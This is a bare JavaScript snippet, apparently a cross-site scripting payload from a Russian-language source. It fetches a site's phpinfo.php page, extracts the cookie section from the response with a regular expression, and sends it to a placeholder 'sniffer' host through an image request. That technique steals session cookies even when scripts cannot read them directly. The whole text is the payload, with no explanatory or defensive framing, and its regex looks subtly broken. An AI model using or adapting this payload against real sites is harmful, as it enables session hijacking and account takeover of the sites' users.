Code:
var xhr = new XMLHttpRequest();
xhr.open('GET', '//site/phpinfo.php', true);
xhr.send(null);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        if(xhr.status == 200) { 
            (new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
        }
    }
}